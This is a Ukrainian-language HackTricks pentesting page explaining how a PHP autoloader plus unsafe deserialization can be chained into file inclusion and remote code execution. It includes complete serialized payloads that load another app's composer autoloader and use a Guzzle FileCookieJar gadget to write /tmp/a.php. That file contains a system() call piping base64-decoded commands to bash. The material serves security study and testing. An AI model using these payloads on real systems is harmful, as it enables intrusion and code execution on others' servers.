hacktricks/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

65 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PHP - Десеріалізація + Автозавантаження класів
{{#include ../../banners/hacktricks-training.md}}
Спочатку вам слід перевірити, що таке [**Автозавантаження класів**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP десеріалізація + spl_autoload_register + LFI/Gadget
Ми знаходимося в ситуації, коли знайшли **десеріалізацію PHP у веб-додатку** без **жодної** бібліотеки, вразливої до гаджетів всередині **`phpggc`**. Однак у тому ж контейнері була **інша веб-програма composer з вразливими бібліотеками**. Тому метою було **завантажити завантажувач composer іншого веб-додатку** і зловживати ним, щоб **завантажити гаджет, який експлуатуватиме цю бібліотеку з гаджетом** з веб-додатку, вразливого до десеріалізації.
Кроки:
- Ви знайшли **десеріалізацію**, і в поточному коді програми **немає жодного гаджета**
- Ви можете зловживати функцією **`spl_autoload_register`** на кшталт наступної, щоб **завантажити будь-який локальний файл з розширенням `.php`**
- Для цього ви використовуєте десеріалізацію, де ім'я класу буде всередині **`$name`**. Ви **не можете використовувати "/" або "."** в імені класу в серіалізованому об'єкті, але **код** **замінює** **підкреслення** ("\_") **на слеші** ("/"). Тож ім'я класу, таке як `tmp_passwd`, буде перетворено на `/tmp/passwd.php`, і код спробує його завантажити.\
Приклад **гаджета** буде: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> Якщо у вас є **завантаження файлів** і ви можете завантажити файл з **розширенням `.php`**, ви можете **безпосередньо зловживати цією функціональністю** і отримати вже RCE.
У моєму випадку нічого подібного не було, але всередині **того ж контейнера** була інша веб-сторінка композера з **бібліотекою, вразливою до гаджета `phpggc`**.
- Щоб завантажити цю іншу бібліотеку, спочатку потрібно **завантажити завантажувач композера тієї іншої веб-аплікації** (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). **Знаючи шлях до аплікації**, ви можете досягти цього дуже легко за допомогою: **`O:28:"www_frontend_vendor_autoload":0:{}`** (У моєму випадку завантажувач композера був у `/www/frontend/vendor/autoload.php`)
- Тепер ви можете **завантажити** інший **завантажувач композера аплікації**, тож настав час **`згенерувати phpgcc`** **payload** для використання. У моєму випадку я використовував **`Guzzle/FW1`**, що дозволило мені **записувати будь-який файл у файловій системі**.
- ПРИМІТКА: **Згенерований гаджет не працював**, щоб він працював, я **модифікував** цей payload **`chain.php`** phpggc і встановив **всі атрибути** класів **з приватних на публічні**. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень.
- Тепер у нас є спосіб **завантажити інший завантажувач композера аплікації** і мати **phpggc payload, який працює**, але нам потрібно **зробити це в ТОМУ Ж ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується**. Для цього я надіслав серіалізований масив з обома об'єктами, як:
- Ви можете побачити, **спочатку завантажується завантажувач, а потім payload**.
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Тепер ми можемо **створити та записати файл**, однак користувач **не міг записувати в жодну папку всередині веб-сервера**. Отже, як ви можете бачити в payload, PHP викликає **`system`** з деяким **base64**, який створюється в **`/tmp/a.php`**. Потім ми можемо **повторно використовувати перший тип payload**, який ми використовували як LFI, щоб завантажити завантажувач composer іншого веб-додатку **для завантаження згенерованого `/tmp/a.php`** файлу. Просто додайте це до гаджета десеріалізації:
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Резюме корисного навантаження**
- **Завантажити автозавантаження composer** іншого веб-додатку в тому ж контейнері
- **Завантажити гаджет phpggc** для зловживання бібліотекою з іншого веб-додатку (первісний веб-додаток, вразливий до десеріалізації, не мав жодного гаджета у своїх бібліотеках)
- Гаджет **створить файл з PHP навантаженням** в /tmp/a.php з шкідливими командами (користувач веб-додатку не може записувати в жодну папку жодного веб-додатку)
- Остання частина нашого навантаження буде використовувати **завантажити згенерований php файл**, який виконає команди
Мені потрібно було **викликати цю десеріалізацію двічі**. У моєму тестуванні, перший раз файл `/tmp/a.php` був створений, але не завантажений, а вдруге він був правильно завантажений.
{{#include ../../banners/hacktricks-training.md}}